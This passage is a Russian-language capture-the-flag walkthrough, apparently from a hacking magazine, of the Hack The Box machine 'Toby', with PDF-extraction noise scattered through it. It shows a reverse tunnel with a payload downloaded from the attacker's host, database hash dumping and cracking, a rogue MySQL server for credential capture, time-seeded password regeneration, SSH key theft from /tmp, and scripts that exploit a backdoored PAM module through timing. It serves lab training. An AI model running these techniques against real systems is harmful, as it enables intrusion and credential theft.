• Откры­ ­ваем на локальном­ хосте­ в каталоге­ с программой­ простой­ веб сер ­

вер python3 -m http.server 88.

На удален­ ном­ хосте­ выполняем­ команду­ curl http://10.10.14.82: 88/chisel -o chisel для загрузки­ .

На локальном­ хосте­ запускаем­ серверную­ часть, ожидающую­ подклю­ ­ чение на порт 88.

./chisel server -p 88 --reverse

Логи­ серверной­ части­

На удален­ ном­ хосте­ запускаем­ клиент­ скую­ часть. В логах сервера­ мы должны­ увидеть­ информацию­ о подклю­ чении­ .

./chisel client 10.10.14.82:88 R:socks0

Логи­ серверной­ части­

Туннель­ готов, осталось­ настро­ ить­ proxychains для проксирова­ ния­ трафика­ . В конфиг­ /etc/proxychains4.conf внесем­ следующую­ запись.

Содер­ жимое­ файла­ /etc/proxychains4.conf

А теперь подклю­ чаем­ ся­ к СУБД через наш туннель­ и смотрим­ список­ баз дан ­ ных.

proxychains -q mysql -h 172.69.0.102 -u root

-pOnlyTheBestSecretsGoInShellScripts

show databases;

 

 

 

 

Список­ баз данных­

 

 

 

 

 

 

 

 

 

 

 

 

 

Получа­

ем­

доступ­

сразу­ к обеим­ системам­

.

Gogs хранит­

учетные­

данные­

в столбцах­

name, passwd и salt таблицы­

user.

 

 

 

 

use gogs;

select name,passwd,salt from user;

Получе­ ­ние критичес­ ­ки важных­ данных­ из базы Gogs

В базе WordPress обратим­ ся­ к столбцам­ user_login и user_pass таблицы­ wp_users.

Получе­ ние­ критичес­ ки­ важных­ данных­ из базы WordPress

Хеши­ из WordPress закидываем­ на перебор в hashcat, но у нас ничего не выходит. Мне подска­ зали­ использовать­ комбиниро­ ван­ ный­ список­ паролей с учетом­ имени­ пользовате­ ля­ . И это дало результат­ !

hashcat -m 400 --user hashes rockyou.txt0

Пароль­ пользовате­ ля­

Получение доступа к Docker

С учеткой­ этого­ пользовате­ ­ля можем авторизо­ ­вать­ся в Gogs. Так мы получа ­ ем доступ­ к двум закрытым­ репозитори­ ­ям.

Главная­ страница­ Gogs

Первый­ репозиторий­ содержит­ какую то базу, пока неясно­ , что это. А вот во втором­ содержится­ новое веб приложе­ ние­ .

История­ коммитов­ Personal-Webapp

Интерес­ нее­ всего­ код обработ­ чика­ /api/dbtest. Эта страница­ принима­ ет­ параметр secretdbtest_09ef, в котором должен­ передавать­ ся­ адрес хоста­ . Если мы передадим­ свой хост, то можем вызвать­ подклю­ чение­ к нему и таким образом­ забрать­ учетные­ данные­ для подклю­ чения­ к базе данных­ .

Исходный­ код пути роута /api/dbtest

Найдем­ хост, где разверну­ то­ это веб приложе­ ние­ . Попробу­ ем­ запросить­ адрес хоста­ personal.toby.htb (по имени­ приложе­ ния­ ).

nslookup personal.toby.htb0

Адрес­ хоста­ personal.toby.htb

Чтобы­ не разворачи­ вать­ локальную­ базу данных­ , восполь­ зуем­ ся­ инстру­ мен­ ­ том RogueSQL. Запускаем­ скрипт и указыва­ ем­ ему любой файл.

python2 RogueSQL.py -f hashes0

Откро­ ем­ Wireshark и установим­ фильтр­ mysql. А затем с удален­ ного­ хоста­ обратим­ ся­ к найден­ ному­ веб приложе­ нию­ и передадим­ адрес своей­ машины.

curl http://172.69.0.104/api/dbtest?secretdbtest_09ef=10.10.14.820

В логах RogueSQL обнаружим­ информацию­ о подклю­ чении­ , а в Wireshark — прилетев­ шие­ пакеты.

Логи­ RogueSQL

Окно­ Wireshark

Нас интересу­ ет­ пакет Server Greeting, в котором передается­ соль, и Login Request, где передается­ хеш пароля.

Содер­ жимое­ пакета Server Greeting

Содер­ жимое­ пакета Login Request

Теперь­ нужно­ собрать­ хеш в формат­ hashcat:

$mysqlna$salt*hash0

Соль соберем из двух частей­ и предста­ вим­ в шестнад­ цатерич­ ном­ формате­ .

Кодиро­ вание­ соли для хеша

Тут нужно­ вспомнить­ , что перед кодом обработ­ чика­ /api/dbtest мы встре ­ чали коммента­ рий­ , где было отмечено­ , что учетная­ запись добав ­ лена 07/07/21 и удалена­ из окружения­ 10/07/21. Генератор­ пароля можно­ найти­ в более позднем­ коммите­ , причем­ он зависит от модуля random.

 

 

 

 

 

 

 

Коммит­ app.py

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А функция­

random зависит от времени­

, когда­

она была вызвана­

, так

как текущее время­ использует­ ся­ в качестве­ сида для генерации­

псевдослу­

­

чайного­

числа­ . То есть, зная времен­ ные­

промежут­

ки­ , мы можем составить­

список­ всех возможных­

паролей.

 

 

 

 

 

 

 

Код для получения­ времени­

в формате­

Epoch из даты можно­ взять прямо­

с сайта­ EpochConverter.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Код конверте­ ра­

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ВЗЛАМЫВАЕМ СЕРВЕР ЧЕРЕЗ ЧЕРЕДУ ЧУЖИХ БЭКДОРОВ

А теперь сгенери­ руем­ список­ .

import random

import string

import calendar, time;

start = calendar.timegm(time.strptime('2021-07-07 00:00:00',

'%Y-%m-%d %H:%M:%S'))

finish = calendar.timegm(time.strptime('2021-07-11 00:00:00',

'%Y-%m-%d %H:%M:%S'))

chars = string.ascii_letters + string.digits

for t in range(start, finish):

random.seed(t)

password = ''.join([random.choice(chars) for i in range(32)])

print(password)

Отправ­ ляем­ хеш на брут по сгенери­ рован­ ному­ списку­ и получаем­ пароль.

hashcat -m 11200 jack.hash passwd.lst0

 

 

Пароль­

для подклю­ чения­

к базе данных­

 

 

 

 

 

Подклю­ чить­ ся­

к основному­ хосту­ по SSH с этим паролем не вышло­ .

Но получилось­

к хосту­ mysql.toby.htb.

 

 

proxychains -q ssh jack@172.69.0.1020

Сессия­ пользовате­ ля­ jack

Выход из Docker

Чтобы­ провес­ ­ти разведку­ в «Докере» и поискать­ пути выхода из него, я использую­ скрипт Deepce, но в этот раз ему не удалось­ ничего найти­ .

Загрузим­ на хост pspy — приложе­ ние­ для мониторин­ га­ запускаемых­

в системе­ процес­ сов­ . И спустя­ минуту увидим­ запуск команды­ SSH, а потом и SCP. Причем­ использует­ ся­ аутентифика­ ция­ по ключу­ , который, видимо, сох ­ раняется­ на хост в момент подклю­ чения­ .

Логи­ pspy

Запус­ каем­ команду­ чтения­ ключа­ в бесконеч­ ном­ цикле­ . Как только­ ключ будет сохранен­ как /tmp/*/key, он отобразит­ ся­ у нас в консоли­ .

while : ; do cat /tmp/*/key 2>/dev/null ; done

SSH-ключ пользовате­ ля­

И с этим ключом­ мы подклю­ чаем­ ся­ к основной системе­ .

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Никакие­ скрипты­ для разведки­ на локальном­ хосте­ не помогли­ , но у нас еще есть файл базы данных­ . Для просмотра­ я обычно­ использую­ DBBrowser. В базе нашлись­ всего­ две таблицы­ , имеющие­ по три записи.

Содер­ жимое­ таблицы­ enc_meta

Содер­ жимое­ таблицы­ support_enc

По названию­ столбцов­ можно­ понять, что таблицы­ содержат­ данные­ , зашиф ­ рованные­ AES-CBC, а также­ соответс­ ­тву­ющие ключи­ шифрования­ и векторы­ инициали­ ­зации. Расшифро­ ­вать можем с помощью известно­ ­го сайта­

CyberChef.

Первое­ сообщение­

Второе­ сообщение­

Удалось­ расшифро­ вать­ два сообщения­ , третье оказалось­ битое. Во втором­ сообщении­ говорится­ , что аутентифика­ ция­ стала­ медленнее­ после­ атаки­ , но автомати­ чес­ кие­ сканеры­ ничего не нашли­ . Скорее­ всего­ , нам снова­ пред ­ лагают­ найти­ и использовать­ бэкдор­ — на этот раз в механизме­ аутентифика­ ­ ции.

Подключаемые модули аутентификации Linux

PAM (Pluggable Authentication Modules) — это набор библиотек­ для Unix-

подобных­ операци­ ­онных систем­ , предназна­ ­чен­ный для настрой­ ­ки аутен ­ тификации­ между­ приложе­ ­ниями. Многие­ популярные­ приложе­ ­ния, с которы ­ ми ты работаешь­ в Linux, внутри­ используют­ PAM. Например­ , утилита­ su.

Когда­ приложе­ ние­ запрашива­ ет­ аутентифика­ цию­ , PAM считыва­ ет­ соот ­ ветству­ ющий­ конфигура­ цион­ ный­ файл. Конфигура­ цион­ ные­ файлы­ содержат­ списки­ модулей PAM и методы их обработ­ ки­ . Модули вызываются­ по очереди­ . Каждый­ вызов модуля генерирует­ успешный результат­ или отказ. Исходя­ из этих значений­ , конфигура­ цион­ ный­ файл возвра­ щает­ либо сообщение­

об успешной аутентифика­ ­ции (authentication okay), либо сообщение­ об ошиб ­

ке (authentication failure).

Настрой­ ­ки содержатся­ в конфигура­ ­цион­ных файлах­ common-auth, commonaccount и common-session-noninteractive в каталоге­ /etc/pam.d/. Прос ­

мотрим первый­ .

Содер­ жимое­ файла­ /etc/pam.d/common-auth

В файле­ указан­ модуль mypam.so. Это явно что то нестандар­ тное­ , давай най ­ дем сам файл модуля для дальнейше­ го­ анализа­ .

find / -name mypam.so 2>/dev/null0

Поиск­ модуля

Загружа­ ем­ модуль по SSH:

scp -i jack.key jack@toby.htb:/usr/lib/x86_64-linux-gnu/security/

mypam.so ./0

И закидываем­ в IDA Pro. Начинаем­ анализ­ с получения­ списка­ функций­ .

Список­ функций­

Нас интересу­ ет­ функция­ pam_sm_authenticate, которая непосредс­ твен­ но­ выполняет­ задачу аутентифика­ ции­ пользовате­ ля­ .

Деком­ пиляция­ функции­ pam_sm_authenticate

Внутри­ функции­ происхо­ ­дит вызов pam_get_user (строка­ 29) для получения­ имени­ пользовате­ ­ля. После­ провер­ ­ки кеширования­ токена (функция­ pam_get_authtok, строка­ 42) запускает­ ­ся цикл, в котором десять раз посим ­ вольно­ читается­ файл /etc/.bd и сразу­ сравнива­ ­ется с введен­ ­ным паролем. Если считан­ ­ный символ­ равен введен­ ­ному, то произво­ ­дит­ся задержка­

на 0,1 секунды­ (строки­ 54–72). Файл /etc/.bd доступен­ для чтения­ только­ суперполь­ ­зовате­лю и содержит­ как раз десять символов­ .

Файл /etc/.bd

Задер­ жка­ после­ верно­ введен­ ного­ символа­ может служить­ индикато­ ром­ . А значит­ , мы можем просто­ посимволь­ но­ подобрать­ пароль. Первым­ делом я записал в файл все печатаемые­ символы­ .

python3 -c 'import string; print(" ".join(string.printable))' > list.

txt0

А затем накидал простой­ скрипт, который перебирает­ первый­ символ­ пароля и выводит время­ выполнения­ команды­ .

#!/bin/bash

for var in $(cat list.txt)

do

echo -n "

$var

"

; echo $var'

' | time su 2>&1 | grep

elapsed | cut

-d '

'

-f 30

 

done

 

 

 

 

Вывод­ скрипта­

При вводе­ символа­ T задержка­ больше­ , чем в ответ на другие­ символы­ , а зна ­ чит, мы на верном­ пути. Немного­ модернизиру­ ем­ скрипт, чтобы­ определять­ задержку­ автомати­ чес­ ки­ и выводить найден­ ный­ символ­ :

#!/bin/bash

passw=""

for var in $(cat list.txt)

do

 

echo -n

" $var

"

;

echo

"$passw$var

" | time su

2>&1 |

grep

elapsed |

cut -d

'

'

-f 3

| grep -v '0:01.0'

&& echo " -

$var" &

& break

 

 

 

 

 

 

 

done

 

 

 

 

 

 

 

 

Подбор­ первого­ символа­

Немного­ изменим­ скрипт для подбора­ второго­ символа­ .

#!/bin/bash

passw="T"

for var in $(cat list.txt)

do

 

echo -n

" $var

"

;

echo

"$passw$var

" | time su

2>&1 |

grep

elapsed |

cut -d

'

'

-f 3

| grep -v '0:01.1'

&& echo " -

$var" &

& break

 

 

 

 

 

 

 

done

 

 

 

 

 

 

 

 

Подбор­ второго­ символа­ И таким образом­ перебираем­ все десять символов­ .

Подбор­ последне­ го­ символа­

Когда­ получен последний­ символ­ , попробу­ ем­ сменить­ пользовате­ ля­ через su.

Флаг рута

Машина­ захвачена­ !

Соседние файлы в папке журнал хакер